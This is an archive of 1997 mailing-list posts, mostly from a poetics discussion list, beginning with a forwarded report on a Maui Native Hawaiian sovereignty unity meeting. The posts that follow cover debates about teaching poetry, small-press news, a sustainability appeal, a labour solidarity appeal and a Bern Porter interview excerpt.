``This was one of the best meetings I've attended in 20 years,'' said Charles Kauluwehi Maxwell Sr., one of the organizers of the five-hour gathering held in the social hall of Waiola Church. ``Maui is going to set the trend as to how to be unified . . . Everything is going to snowball from this.''

About 75 people were asked by Maxwell to ``leave their egos and affiliations outside the door'' as they braved the downpour that pummeled Lahaina most of the day. So those who walked in as members of Ka Lahui, The Nation of Hawaii, the recently disbanded Hawaiian Sovereignty Elections Council or any other organization became part of the group at hand and not a separate faction.

The theme for the day was unity.

``Everybody was in one heart and one mind, I think,'' said Maxwell.

The meeting came about because of the disappointment experienced by Mauians who attended a statewide conference on Oahu last month regarding the next step in the sovereignty process. After the exhilaration of the results of the Native Hawaiian Vote in September in which 73 percent of the respondents said they wanted some form of self-rule, participants went to Honolulu with high hopes of moving forward.

They returned discouraged, feeling they had not been heard.

So with another statewide gathering planned for Feb. 8-10 at Kualoa Park on Oahu, Native Hawaiians of Maui Nui -- the ``greater Maui'' area of Maui, Molokai, Lanai and Kahoolawe -- decided to take their own step forward Saturday.

The very notice of the meeting caused a stir around the islands, according to Maxwell.

``I had calls from all over the state asking, `What is this all about?' '' he said. ``I said, `We're getting ourselves together.' ''

By the end of the day, no delegates had been elected nor official policies etched in stone, but consensus was achieved on a number of things that formed a mission statement of sorts.

Akoni Akana and Ed Lindsey both came up with several key goals that the crowd unanimously agreed upon. Those in attendance enthusiastically committed themselves to ho`olokahi (peace and unity) while pursuing self-determination or sovereignty in some form and to get back their land rights, their ocean rights, their birth rights as Native Hawaiians and their water rights. They also dedicated themselves to the concept of Maui Nui -- and not just Maui -- in decisions.

Akana, who said he'd never seen so many people at a sovereignty meeting on Maui before, reminded his peers that conflicting factions only hurt themselves.

``The government enjoys the differences -- they want us to be divided,'' he said.

Lindsey concurred.

``We have not been able to play our Hawaiian card in this political process because we're not united,'' he said. ``How are we going to proceed toward working for the same thing, to come together, to accomplish the same thing? We're not here to say, `I'm better than you,' we're all good. Who's our worst enemy? Not them. Us!

``In Lahaina, there's development going on that's against us. The more we milimili (move slowly), the more they're going to take. Do you want that?''

Everyone responded with a resounding ``No.''

Kekula Bray-Crawford supported the idea of unity, too, as long as diversity was not lost in exchange.

``I want unity, but I also want to know about the differences,'' she said, hoping everyone would be allowed ``to disagree and (know) why we disagree.''

``That's consensus, to me,'' she said. ``To find strength in diversity.''

Dana Naone Hall said her only interest in sovereignty ``stems solely from my desire to protect the land, water and places important to our kupuna.''

Earlier, she said Hawaiians need to take advantage of the current mood in high places on Oahu and Washington, D.C., before the political scene becomes more hostile.

``Inevitably, the state and federal governments will be involved . . . ,'' she said. ``Are we at the point where we will seize the day and move forward or will this process drag on until the political landscape changes? The pendulum swings both ways, you know.''

Hall also recommended that when it comes time to decide on apportionment for delegates, that a land base be used to determine the number of elected representatives, not population. The fear, obviously, was that Oahu would overwhelmingly control things if only population is considered.

Many Native Hawaiians opposed the vote last year because the state was underwriting the costs and Gov. Ben Cayetano had appointed members of the Hawaiian Sovereignty Elections Council.

As part of a response to that, Maxwell said a fund-raising concert will be held Jan. 17 to earn money for anyone who would like to participate in the February conference at Kualoa Park. Details about the concert will be released later.

The group Saturday was not only a mixture of those affiliated with various sovereignty organizations, but also a blend of age groups with articulate young leaders of the future joining in along with the kupuna.

And it was kupuna Kealoha Camacho who may have made the most heartrending observation about the urgency needed to spark the movement that started more than 20 years ago.

``It can happen in your time,'' she said to those around her. ``For us kupuna, we're makule (old) now. Our time has gone.''

-- _____ | Hawai`i - Independent & Sovereign | | [redacted] http://hawaii-nation.org/ | | _____| "The cause of Hawaii and independence is larger and dearer than the life of any man connected with it. Love of country is deep- seated in the breast of every Hawaiian, whatever his station." - Queen Lili`uokalani

_____

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326. Charles Alexander
recommend
Tue 14 Jan 1997

I just wanted to put in a strong recommendation that people visit the light & dust poets sight (http://www.thing.net/~grist/l&d/lighthom.htm) and check out Robert Grenier's tribute to Larry Eigner. It takes a few minutes, but I suggest looking at all 45 pages of this physically beautiful, moving work.

charles

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327. Gabrielle Welford
Debating/Promoting Sustainability (FWD) (fwd)
Tue 14 Jan 1997

---------- Forwarded message ----------
Date: Wed, 8 Jan 1997 16:05:56 -1000
From: Richard Salvador <[redacted]>

Aloha / Alii,

This may be of interest to members of all the three lists. The international community--all of us--have come a long way since Gro Brundtland's international body of experts gave us _Our Common Future_. With all the endless ontological differences being valorized in other intellectual/philosophical traditions as the "proper" bases of peoples' and nations' existences, I wonder how a "common future" can emerge from all these. But apparently, there have been successes at many levels. I tend to agree with this last point. I haven't checked out

"Inviting Debates's" URL, but encourage all to participate in this discourse about planetary ecological stewardship.

Mahalo for you time, and interests.

Richard Salvador
University of Hawai'i at Manoa
Honolulu, Hawai'i

> *---------- Forwarded message ----------*
> *Date: Sun, 05 Jan 1997 10:50:28 -0500 (EST)*
> *From: Mike Nickerson / Inviting Debate <[redacted]>*
> *Subject: Turn Around Decade - Spun Out !*
>
> *April 27, 1997 will mark a full decade since "Our Common Future" confirmed that the human family is living beyond the Earth's long-term ability to support us. Thanks to the impeccable credentials of its authors, the World Commission on Environment and Development, this report ended years of official denial.*
>
> *No one disputed the need for change - at first.*
>
> *It was said at the time that we had ten years to turn civilization around and head for sustainability.*
>
> *And turn around we did - twice!*
>
> *The first turn around was a spectacular rise of public concern for the environment. Recycling programs that had been put off for years were rapidly adopted, many attaining 90% participation within the first few months. Information about environmental matters was everywhere. Reduce, reuse, recycle was on everybody's lips. With a little leadership an historic transformation of civilization would have taken root.*
>
> *The currently powerful were not heard from at first. Then, on October 19 1987, the day "Our Common Future" was tabled for discussion at the United Nations, enough financial dealers sold off shares in polluting industries to trigger the biggest stock market crash since 1929. Soon the spin doctors were at work spinning the message of environmental sensitivity into that of sustainable development. The focus shifted from concern for "drawing too heavily, too quickly, on already overdrawn resource accounts to be affordable far into the future without bankrupting those accounts." to the notion that we had to multiply industrial production ten fold to enable poorer nations to approximate western life styles. Sustainable development, some espoused, was to stimulate sufficient development to sustain investment opportunities. This second turn around paved the way for 'free' trade and economic globalization*
>
> *The captains of industry accepted the advise that 'we don't have*

environmental problems, only public relations problems.' The mechanisms for managing public opinion were employed and our governments are now dedicated to eliminating social and environmental constraints on development.

Will the mass media mark the tenth anniversary of "Our Common Future"?

Not likely! They are in the business of selling products not accommodating social transformation. They sound a thunderous roar applauding perpetual economic expansion. If we are to turn around and head toward an environmentally sustainable future, citizens will have to make their voices heard above the din of the mass media.

In "Horton Hears a Who", Dr. Seuss pictures a tiny world in great danger. The only hope for the inhabitants was to join their voices together and call out as one. Our circumstances are similar in that we have to make a call clear enough to be heard through the din of the mass media.

Citizens must know that there is an alternative to growing into oblivion. Policies based on sustainability can provide for human need more effectively than those presently serving economic expansion.

This alternative introduces a spectrum of issues ranging from natural resources and pollution through equity and justice to the realization that there is far more to live for than material consumption.

The 10th anniversary of "Our Common Future" is an opportunity to make ourselves heard. Please, help make sure it is not missed.

Inviting Debate offers a variety of materials and techniques for focusing public concern into an open discussion about the purpose of our economic system. We'd like to hear from you.

Inviting Debate
[redacted] *http://www.cyberus.ca/choose.sustain*
P.O. Box 374, Merrickville
Ontario, Canada, K0G 1N0
[redacted]

//
**
'If we don't change direction,
we'll end up where we're going'
**
//

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328. Gabrielle Welford

Tabasco hunger strikers may die (fwd)

Tue 14 Jan 1997

---------- Forwarded message ----------
>From: Alastair Wilson <[redacted]>
>
>Tabasco refuse collectors on hunger strike may die
>Urgent solidarity needed
>
>Jorge Luis Alamilla Magan~a and Venancio Jimenez Martinez, the two Tabasco
>refuse collectors have now (January 7th,1997) been on hunger strike in front of
>the National Human Rights Commission for 84 days. Five other workers have been
>on hunger strike for 44 days and one of them, Agustin Vicente Sanchez has
>decided to stop taking any liquids as well. "If what they want is someone
>to die
>before they give in to our demands, I voluntarily offer my life for the sake of
>all my comrades and their families".
>
>Their health is very bad. They can barely speak or open their eyes. They have
>lost notion of time and suffer cramps in different parts of their bodies.
>Accoridng to one of the doctors they have reached a point were damage to their
>health could be irreversible. They could suffer permanent brain damage.
>
>The workers have recieved solidarity from many different social, political,
>trade union and human rights organisations. The PRD (main opposition party) NEC
>decided to fully support the workers' cause and their two main leaders, Manuel
>Lopez Obrador and Cuauhtemoc Cardenas visit the strikers everyday. The PRD has
>demanded the president's direct intervention in the conflict to no reply from
>Ernesto Zedillo yet.

>
>The demands of the workers are: reinstatement of all 336 refuse collectors
>sacked in Villahermosa (Tabasco), payement of the wages for the days of work
>lost, withdrawal of the 46 arrest warrants against them.
>
>They have been offered 190 jobs on casual basis and redundancy payements for
>another 110 workers but they have refused this "offer" and made clear that they
>want their jobs back.
>
>Urgent solidarity action is needed.
>Please circulate this appeal as widely as possible
>
>Send faxes of protest demanding immediate solutions to:
>
>Secretaria de Gobernacion
>Licenciado Esteban Moctezuma Barragan
>Fax: 525 521 27 63
>
>Letters of solidarity can be sent to:
>
>Broad Front of Democratic Struggle
>Calle Insurgentes n. 203
>Fracc. Insurgentes
>Ciudad Industrial Villahermosa
>TABASCO, Mexico.
>
>or emailed through:
>
>National Trade Union Commission,
>Party of the Democratic Revolution
>a la atencion de los trabajadores de la limpia de Tabasco
>[redacted]
>
>Background information about the conflict:
>http://www.gn.apc.org/labournet/tabasco.html
>

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329. **maria damon**
Re: cremains
Tue 14 Jan 1997

---

speaking of language and death, i had a short chat w/ the woman who teaches in the room i teach in right before me: she teaches writing for the health sciences and sd she had students from all disciplines including mortuary science. when i expressed surprise that my university offered such a degree she told me that when she'd been an english major u-grad 30 yrs ago or so, the english dept was in the same building as the mortuary science dept. someone put up a sign that sd publish, pointing twoard the english dept, and a sign tht sd perish, pointing toward the mortuary dept.

In message <[redacted]> UB
Poetics discussion group writes:
> On Tue, 14 Jan 1997, Mark Weiss wrote:
>
> > Thanks to the list for the help on "cremains"--it hasn't made it to the
> > OED.
>
> send it in; that's how dictionaries are "written," you know. when i was
> an undergrad some 15 yrs ago, i took this great course called "american
> english" and we used to send stuff in to merriam-webster all the time. in
> fact, we were the ones who got hackey-sak in!
>
> a side bar to cremains: i watched the wonderful japanese film _the
> funeral_ last night, and i highly reccomend it.
>
>
> best,
> shaunanne
> >
> > Talk about feeling cut off from the well-springs of language!
> >
> > Mark Weiss
> >
>

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330. Miekal And
sustaining the lifethread
Wed 15 Jan 1997

Mark Wallace wrote:
>
> Miekal And responds to Graham Foust's question about how to teach poetry
> with the suggestion that Graham's statement "assumes that poetry can be
> taught." But it seems a pretty good assumption to me, at least in some
> cases.

Well, you see mark, I guess it depends on how & where you live your life. The only poetry class I ever had in my life was taught by a Poet (with a capital P) named Doug Flaherty, who used words like "bone" & "flesh" a lot in his writing. I think Robert Lowell, Yeats & Ginsburg were his things. Back then I was into John Cage & Louie Z (ok & throw in Olson). I think what he taught me was that if you wanted to be a poet go out there & sell yourself, every day until someone takes notice.

Very early on I decided that it was far more important to keep writing & keep reading. So I quit school (after one semester) & lived in the library & wrote an 800 page long poem called Samsara Congeries, which is my only work that has never been published. This first hand involvement with the text & its life taught me that the things I do to live my life & make my art were inseparable, that going to school to "be taught" how to write & what literature was deprived me of all the daily connections that were my inspiration for writing to begin with.

Over the years I have met many many young folks who were incredibly inspired to create great works while in the artificial environment of the university but then they graduate, move out into the world (well a lot of them never really leave the university) & are stunned to find out that the farmer down the road cant quote Ezra Pound in his sleep.

We see it all the time at Dreamtime, young folks fed up with writing programs, teachers, institutions, studio workshops & wanting to know where their food comes from, how to build a decent shelter & what poems to chant when your out in the garden weeding.

So while my own personal interests spans the gamut of things discussed under the cover of this list, my efforts in teaching are much more random, spontaneous & based on what is useful in everyday life. I will show folks how to make their own books, how to distribute, & overwhelm them with the corpus of what has been created for them to sort out themselves. But you wont find me carrying on about the economies of sentence structure in first generation language poetry.

My point is really quite brief. It what you bring yourself to, that opens the life-long journey of attending to language's collective evolution. & learning to learn with in the context of your own life experiences is far more remarkable than consuming teaching.

Miekal who if da levy would have ever made it as an english professor

My own experience, to the extent I remember it, is that someone
> taught me about poetry, and I'm grateful for it. I'm pretty sure I wasn't
> born knowing all about it.
>
> Mark Wallace

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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331. Mark Weiss
death
Wed 15 Jan 1997

Well, as long as I've inadvertently started this funereal thread...

Some years ago I was boarding a commuter flight from Boston to New York. As I walked down the aisle to my seat past rows of unconcerned business people in expensive suits reading their copies of the New York Times I was suddenly and unaccountably overwhelmed with bitterness, and I said to myself, "These people don't even know that they're about to die. It wasn't until then that I realized I was afraid. I found my seat between two other passengers. The flight started pleasantly enough, but shortly after nightfall we hit some serious turbulence, and I could imagine the plane suddenly tilting into a steep dive and screaming its way towards the earth. At such moments I try to console myself that at least the whole ordeal won't take very long--if I can control my panic for two or three minutes it will all be over. I had just come from a week at my girlfriend's commune, and I was filled with peace and love; that's probably why I found myself thinking that our last moments might be easier if my fellow passengers and I held hands. I hadn't really looked at them til then. Neither of them seemed at all concerned by the turbulence. To my left was a middle-aged woman who looked like she ate steel bolts for breakfast. She used her newspaper was to create a wall to discourage conversation. Definitely not the hand-holding type. To my right, in the window seat, was an extremely neat man in his early

twenties. He wore a reddish tweed sport jacket,a dress shirt and tie, grey slacks and highly polished brown shoes. He was immaculate. He appeared to be one of those untouchable people who scatter the dust before them. I mention all this because I was aware that there was something odd about him, and it took me a few moments to home in on what it was. Then I noticed his hands. They were clean. In fact, they were the cleanest hands that I had ever seen. They were so clean that the thought of holding them was utterly disgusting. By now the turbulence had stopped, and the man and I began to talk. He asked me what I did. I told him that I was studying in a training institute. He said that he was, too, and I asked him which one. I hadn't heard of it, which surprised me. My world at the time was parochial enough that I assumed that, like me, he was a psychotherapist in training, so when I asked him what he was studying I expected him to tell me whether he was a Reichian, or a psychoanalyst, or the like. Mortuary Science, he answered. That was it. That was why his hands and his whole being were so clean--he had been soaking in formaldehyde. For a moment my gorge rose as I imagined the smell of overpickled rats and frogs from high school bio lab. Curiously, he wasn't at all embarassed by his profession, whereas I was always wary of people's responses when I revealed my own.

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332. **Bil Brown**

Re: sustaining the lifethread

Wed 15 Jan 1997

> *Boy, does that ever miss the point.*
> *Here's how I learned to be a poet. I got hooked early on the awful stuff in my mother's HS anthology. When I was in my teens I started looking for other poets. I read a lot. I went to readings. In school I stayed away from writing courses, but I read "the canon," and you know, you can learn a lot from Ben Jonson or Milton. Other poets turned me on to their enthusiasms, and we edited each other's work.*

This is of course, the academy of hard-knocks. I can relate (although my education is from writers at the Naropa Institute). Even at Naropa, I decided long before I tried to get that MFA that it wasn't important to the writing of poesy. It was a credential, and it was one that I have thus far decided (after being 26 grand in debt) that I don't need.

Bernadette Mayer was the most influential my decision not to go on. NOTE: I have gone back and forth with this decision often. Simply because being a working class artist, I have to work in shitty jobs (typesetting of all fucking things) to maintain myself if I DO NOT become an academic.

Bernadette said, "if you want to get something from a poet, go to that poet." Somehow it resonated, very Poundian, and very Ginsberg. Did AG (or anyone

else, Creely for that matter) keep up with thier education AFTER they were out of school. Somewhat, but not really.

. I learned from older poets, some
>of whom were incredibly generous with their time. I started a reading series
>and a magazine--more and more poetry.

THIS TO ME IS THE MOST IMPORTANT VEIW. If there is such a thing as AESTHETICS it didn't start at the academy. It started with ppl like Clayton Eshelman & Caterpillar, when someone goes way out of the fucking way to get a couple of hundred bucks to make a little 'zine taht publishes friends & the noteable writers of the day. Of course you're going to publish yrself & then... yr notable too. It's pretty simple really. But the poetry HADS to stand on it's own!!

> *I love teaching, and I teach in writing programs on ocasion, but I'm very aware that these programs are there primarily to provide jobs for the likes of me--an MFA never certified anybody as a poet. When my students ask me what they need to know to be poets I tell them "everything."*

I do the occasional workshop to. Since I don't have an MFA at the end of my name I have to use associations to get ppl to think (what was it a student recently said about my bio -- "The REAL Thing"). Granted, an MFA doesn't make a poet -- but it certifies a TEACHER to the large majority of ppl that will pay you to teach. I can't teach in a University setting without it. And, looking at the Formalist traditions STILL prevelant in arts education, I think MORE of US should tech in UNIVERSITIES. (*BAD, BAD ACADEMIC* *Slap* SLAP*)

> *The other day I heard a reading by a poet all of whose references were to books. I got the references. But I wasn't surprised that although he's read in college courses no one beyond the walls has ever heard of him. If we hope to have some impact on the world we have to engage it.*

When I was in school, at Naropa again. Anselm Hollo was a real help with my work and a real Knight when it came to defending it. I used references upon references & it was a dense mesh of shit I couldn't get thru now if I was paid by the hour to footnote it. I likened myself to Olson, or Pound, or Waldman, or someone else that was in my head. I wasn't writing for anyone else really, but I wanted everyone to read it. I think this is the academics hell. Or some sort of Bardo situation that likens Hell -- if I DIDN'T come out of the habit of delusionary verses & literary references I think I would have gone a biot madder than I already am.

> *Olson began his last teaching stint at Connecticut by asking the assembled students which ones were writing majors. They raised their hands, and he tossed them out.*

HAHAHAHA. I love this story. But methinks it was for a different reason than what you are supposing. But a good *reference* none the less.

> *So here's my grand utopian fantasy and syllabus. Let there be a universal draft after HS, during which young men and women, separated from their normal geography and social class, learn about each other while repairing the infrastructure (the least racist institution in our polity is the military). And let no one be allowed to apply for graduate school until they are thirty or have been out of college for at least five years, whichever comes first.*

I agree. I think Bobbie Hawkins would agree. Most of us, as writers/poets have not lived enough to write about anything in our twenties. So if that is the beginning of our "life's work" then we are going to be referential. No life, man. God that's pretty depressing.

I really thank you for your comments. No one ever seems to comment on things like this when I write them, so I thought I would write you back... in detail to get the point across. Issues like these are REAL to the writers on this LIST.

Thank you.

Bil Brown

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333. **Bil Brown**
Re: sustaining the lifethread
Wed 15 Jan 1997

<<I have to typeset now.>>

You are not the only poet out there that does not have an MFA that does not want one & that does not need one to feel "certified" to teach.

I am a former Naropa student that when asked what my degree distinction was answered, "um... educating the muse."

I think I am literate enough to be on this list, I know most of the ppl who are the Buffalo-Cannon of disenfranchized poets & poetics. I read articles, teach workshops. And wish I could teach in a University setting, but debt & stucent loans keep me out -- so I teach in community centers & stat my own programs, get readers like Anne Waldman & Carla Harryman out here... try to do the best I can in a small community.

In Louisville, there are so few MFA grads that we are sought after like doctors. Of course I opted not to get my MFA until I was thirty & a little more mature finacially.

Right now I typeset to make my living.

I have to typeset now.

Bil Brown

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334. Miekal And
terrestial reclamation
Wed 15 Jan 1997

Goddess
did I put the crimson
veil in front
of the charging bull.

Before Maria
starts shaking fingers
at me &
never
talks to me
again

I should say
that my hands typed
artificial when I
meant to say

e s t e e m e d

I have taken the
liberty to search
& replace David B's
telling life story
with the proper
appellation.

Miekal who
still cant picture
David B in overhauls,
Banvel cap, & shit kickers
milking cows. Who woulda
thunkit.

For those that want to
read more into more into mywords
than my well-intentioned mouthoffed brashness:

what I honestly am interested
in are evolved discussions of how the
act of poetry is sustainably designed
into everyday life. I choose the life of spending

my days creating an eco-village within
the remnants of an existing
150 year old dairy hamlet
because nearly everyone I know is
in there behind those cement walls
& florescent lights & very
few are out there in the front
lines of poetic terrorism.

By analogy, because the university
wanted to "teach" agriculture to farmers,
knowing most of them
would never go back to school, created
cooperative extensions, in each county,
& those ag extentions agents would
go farm to farm & introduce themselves
& offer information, support, networking.
The farmers were thus able to continue
milking but slowly change their
practices to more sustainabler methods
gradually over time.

Where did I learn about poetry really?
The overwhelming answer was by writing
& publishing & networking with literally
1000s of other writers, performance artists,
noisicians, plagiarists, mail artists, language
poets, & small interactive arts organizations.
This is a way of life, not a curriculum that
I will graduate from & become a specialist.

Lyx (formerly Liz Was) & I am
homeschooling our son Zon. He is 9
years old & not all that interested in learning
how to read (even tho he was into it when
he was 2), he IS interested in collecting
animals skeletons & gluing them back
together, making a comic book to put up
at our website, learning the latin to the many
100s of plants that we grow here at Dreamtime
& he takes his turn cooking for as many as
25 people. He is precociously verbal & can
carry on a conversation with any adult on

any subject including chaos theory or the sentient
intelligence of avians.

I have tried to "teach" him how to read. He cries,
screams, throws books at me
(dont worry none of yours out there).
My observation is that the more I back
off & let him be, the easier more
naturally he learns to learn, to become
excited by ideas, to ask questions.
TO FIGURE IT OUT BY HIMSELF.
The more I become his companion
& the less I try to "teach" him,
the more our relationship becomes
a reciprocity of love & respect.

My tangled thread
is a reflexive navigation
thru what is not said
& what I see as a genuine
deep fear that poetry
will not not survive as
long as it remains separate
from all other creative
impulses known to
man.

--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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335. Miekal And
e s t e e m e d environments
Wed 15 Jan 1997

Perhaps because i spent many years of my life in the esteemed environment of the university. but before that, i spent considerable time in the esteemed environment of a door-to-door magazine salesman, and before that, in the esteemed environment of an invoice clerk for canadian pacific. Before that, i worked in the esteemed environment of a dairy farm; before that, in an esteemed

environment in a publishing house. in my evenings and on my days off throughout these years, i could often be ound in the esteemed environment of a bar or a restaurant, or the esteemed environment of a poetry reading. Sometimes i was asleep in an esteemed environment. In infancy, i was in the esteemed environment of my parents' flat. Later, as my father's labors in the esteemed environment of newsreels brought increasing amounts of esteemed currency, their esteemed residence became a house.

we boys played our esteemed soccer in various local parks and once when injured i went to an esteemed hospital. throughout these years artifical food preserved some semblance of life (however esteemedly induced) in your correspondent, and here i find myself today in the esteemed environment of cyberspace. db as detourned by ma

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336. **Michael Boughn**

Re: bp & the allness of poetryics sensate

Wed 15 Jan 1997

> *The quintessential Nichol bibliographer is jwcurry, who himself has produced a number of small-sized pamphlets, some of them hand-rubber-stamped, by Nichol & others. Curry's in Toronto, and I don't have his address at hand, but someone here may have it. The situation of McLelland & Stewart publishing Nichol is complicated as well because McLelland & Stewart acquired Coach House Press in some sense, while leaving it a semi-independence, I believe. Or perhaps it's just that they became the distributor for Coach House. Does someone know for sure?*

Funny you should ask, as yesterday I was at the new (old) Caoch House with Robin Blaser trying to get ahold of the old (new) Coach House in order to get some of Robin's books for the reading tonight.

It seems that nobody knows nuthin, or at least what they claim to know never pans out. M&S neither acquired CH nor distributes its books. They were storing the inventory temporarily. McClintock has offered the authors the option of buying their books. Otherwsie they'll be remaindered. Some other small presses such as Talonbooks have acquired some authors' inventory, but we were unable to locate any copies of the Holy Forest in Toronto. M&S knows nothing, Canbooks claims to have sent everything back to the authors, and McClintock never returned our call. So who knows.

The good news is that Bevington and Coleman are moving ahead to rebuild the new (old) Coach House and they have the rights to bp's stuff, so it will be in print.

Mike
[redacted]

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337. Mark Wallace
what can be taught
Wed 15 Jan 1997

Miekal And responds to Graham Foust's question about how to teach poetry with the suggestion that Graham's statement "assumes that poetry can be taught." But it seems a pretty good assumption to me, at least in some cases. My own experience, to the extent I remember it, is that someone taught me about poetry, and I'm grateful for it. I'm pretty sure I wasn't born knowing all about it.

Mark Wallace

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338. maria damon
Re: bp & the allness of poetryics sensate
Wed 15 Jan 1997

---

aha; i tried to order the holy forest for my class this winter and the "not available" msg came back. i knew ch had gone under and been resurrected but had
no idea this wd result in the downright unavailability of stock. naive me.-md
>
> Funny you should ask, as yesterday I was at the new (old) Caoch House
> with Robin Blaser trying to get ahold of the old (new) Coach House in
> order to get some of Robin's books for the reading tonight.
>
> It seems that nobody knows nuthin, or at least what they claim to know
> never pans out. M&S neither acquired CH nor distributes its books.
> They were storing the inventory temporarily. McClintock has offered
> the authors the option of buying their books. Otherwsie they'll be
> remaindered. Some other small presses such as Talonbooks have acquired
> some authors' inventory, but we were unable to locate any copies of the
> Holy Forest in Toronto. M&S knows nothing, Canbooks claims to have
> sent everything back to the authors, and McClintock never returned our
> call. So who knows.
>
> The good news is that Bevington and Coleman are moving ahead to
> rebuild the new (old) Coach House and they have the rights to bp's

> stuff, so it will be in print.
>
> Mike
> [redacted]
>

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339. **maria damon**
Re: death
Wed 15 Jan 1997

nice post, mark weiss! are there any mortuary scientists on the list who would like to undertake to persuade us of the quotidien, normative nature of their work?--md ps or failing that, how 'bout educating us in some mortuary jargon in addition to "cremains?"

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340. **David Bromige**
artificial environments
Wed 15 Jan 1997

mikael And (whose postings i have found consistently interesting and on-target) has rather "set me orf" with his "in the artificial environment of the university". Perhaps because i spent many years of my life in the artificial environment of the university. but before that, i spent considerable time in the artificial environment of a door-to-door magazine salesman, and before that, in the artificial environment of an invoice clerk for canadian pacific. Before that, i worked in the artificial environment of a dairy farm; before that, in an artificial environment in a publishing house. in my evenings and on my days off throughout these years, i could often be ound in the artificial environment of a bar or a restaurant, or the artificial environment of a poetry reading. Sometimes i was asleep in an artificial environment. In infancy, i was in the artificial environment of my parents' flat. Later, as my father's labors in the artificial environment of newsreels brought increasing amounts of artificial currency, their artificial residence became a house.

we boys played our artificial soccer in various local parks and once when injured i went to an artificial hospital. throughout these years artifical food preserved some semblance of life (however artificially induced) in your correspondent, and here i find myself today in the artificial environment of cyberspace. db

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341. Miekal And

Bern Porter

Wed 15 Jan 1997

New from Xexoxial:

HOLD ON TO YOUR HAT Interviews by Miekal And & others with Bern Porter about the Institute of Advanced Thinking in Belfast Maine. 5.5 x 8.5, 75 pages, xerox handbound. Designed by Ben Meyers. $8 for paper, $30 for hand-painted hardcovers & signed by the author.

Prepublication discount to Poetics list subscribers. $5 for softcover.

Here is couple pages from the book:

MA: General education seems to have gone.

BP: Well not only has it gone, but the BA degree, that catch-all diversion, is now to be patched up within employable specifics, while the methods we have noted fit almost immediately into an income return. Perhaps more significant than monetary results is the recognition through achievement, as, for example, Ana►s Nin, who early had formal assistance, read everything in sight, chose a master to work with and for, and then took off►not only to produce, but to affect, influence and be someone.

MA: How does the Institute fit into all this?

BP: Well I►ve given the history from the earliest times down to 1989, where there are 32 of us, free of governments, free of academics, consider all the problems I►ve listed, but concerned with, as I►ve said, the 3 forms of education that I►ve just noted.

MA: Is advanced thinking different from stream of consciousness association, altered states?

BP: Well, the word ►advanced►, as the Institute employs it, means a rejection, a complete rejection of all past methodologies, with an obvious forward progression in a manner that the current press technology calls ►breakthroughs►. We►re interested in producing what are called ►breakthroughs►. But at the Institute, a breakthrough is considered anything that►s obvious, rational and reasonable, as advanced through the greatest possible number of people. The free systems of education already cited►learning in the womb, learning at home, study apprenticeship►the first two of these, by modern electronic means, are fine examples. I would like to give some other examples here, but before I do so, I would like to point out►people ask me what do you do when you are doing advanced thinking? And the answer is, we are making the complex simple, that whatever is reasonable and obvious we are undertaking►and we have developed out of this what is called the Bern Porter Theory of

Simplistics, which can be reduced more or less as follows: It is easier to complicate things than to simplify them. This is a manmade truism; rather than make things simple or obvious or reasonable we tend to mess it up and complicate it. Whatever is reasonable we make unreasonable, whatever is obvious we obscure, whatever is easy we make it difficult, whatever is difficult we never make it easy and whatever is complicated we tend to make it more complicated and whatever is complicated is never made easy. So whatever is obvious is never done, whatever is reasonable is never done. These are the elements of Simplistics. So when you ask me what is advanced thinking then it reduces to making the complicated simple. A very staggering example that►s going on right now in Europe, in connection with this view of looking at old things in a new way. There are countries in Europe who►ve looked at Marxism for 40 years, who►ve looked at Leninism for 40 years, now looking at old things in a new way. People for 40 years have been bound up with the theories of Marx, the theories of Lenin, theories of Stalin. And in physics we►re looking at the ideas of Newton and Einstein. Everything is now under re-examination. These people in Europe after 40 years of looking at this old thing in a new way, will suddenly look at socialism, they will throw out communism, they will look at democracy, and they will add to, and build upon, and build a greater democracy, as a result of looking at an old thing in a new way. And this is a part of the Theory of Simplistics that we advocate and develop at the Institute. Please, please, look at old things, old attitudes, common things around you, and look at them in a new and fresh way. Now a very classic example of this is our friend and honorary member of the Institute, Buckminster Fuller. He lived on an island, his family lived on an island off the coast of Maine for about 80 years. He was schooled by ships going by, he would row out to the ships who were taking out lumber and bringing in paper and salt and products that were used in Maine. He looked at the globe, a sphere, a globe of the Earth, 12 inches in diameter, he looked at it for years, and said ►I►m tired of looking at this thing. What can I do to it?► Well it turned out he said ►I can cut it up.► And it turned out since it was a sphere and a globe, a model of the Earth, each section he cut up had to be a triangle. Having cut it up into triangles, he laid the triangles on the floor flat and looked at them in a fresh and new way, and to his amazement he could understand the meaning of the equator, the tropic of Cancer, the tropic of Capricorn, the north pole, the south pole, the relation of the lands to the water; he could see the world and the continents in a new way. He►d been hampered all his life by a globe, now suddenly the globe was reduced to pieces and the pieces were flat on the floor, a flat surface, two-dimensional. He was able then to see in a fresh way. This is for us a very classic example of looking at old things in a new way. The people of Europe are now looking at old systems of communism, Marxism and the rest, and are seeking a new way, what we call a breakthrough. Another very interesting example

is a solution to problems—take a simple thing like gun laws, or guns, handguns. It is said nationwide, worldwide, that handguns are a problem. Well if they're a problem then isn't it obvious that you attack them by first not permitting their manufacture anywhere in the world? Stop their manufacture. Then find people who own them, actually go door to door and remove them. Either their owners pay a fine or give up their handgun; and prevent, stop the sale. Just remove handguns from all markets, from all use, and make them disappear, just decree that they are a problem. Well obviously this will never be done. Just the same as the school system that I have advised, and the womb studies, probably will never come about. This is typical of man in his continual desire, innate desire to make messes. To make complicated what is already complicated, and never, never to simplify. So in the case of the handgun, I've mentioned the globe, now we might go on to a thing that's called a 40- hour week. We have unemployment. We have the trouble of what to do with our leisure time, and how to make a livelihood, and the problem is what do we do about this. Well, the problem is the 40-hour week, the 5-day workweek, holidays, weekends. In short our present entire system of employment is eliminated. The 24 hours of each day and the 7-day week are divided into 3 shifts of 8 hours each. No one works more than 32 hours a week, that is, four 8-hour periods, in a shift period of his choice, while production proceeds continuously, full time, for 168 hours a week. When I was considering this, a 72-story skyscraper was being built across the street. Under the present system, the site is literally crawling with workers for 40 hours, then stops dead deserted for 128 hours. A total standstill, with nothing else happening except a guard on watch, patrolling. Now under the plan of the Institute, the work would proceed 168 hours a week, many workers would have employment, and the building would be finished in one-fourth the time. And as a further effect, the present pool of unemployed would be absorbed. Apprentices would be training to fill in this and future needs, with every able-bodied person having a paying job for 32 hours, but without overtime. The resulting leisure hours would be obvious for each person, opening a whole new range of 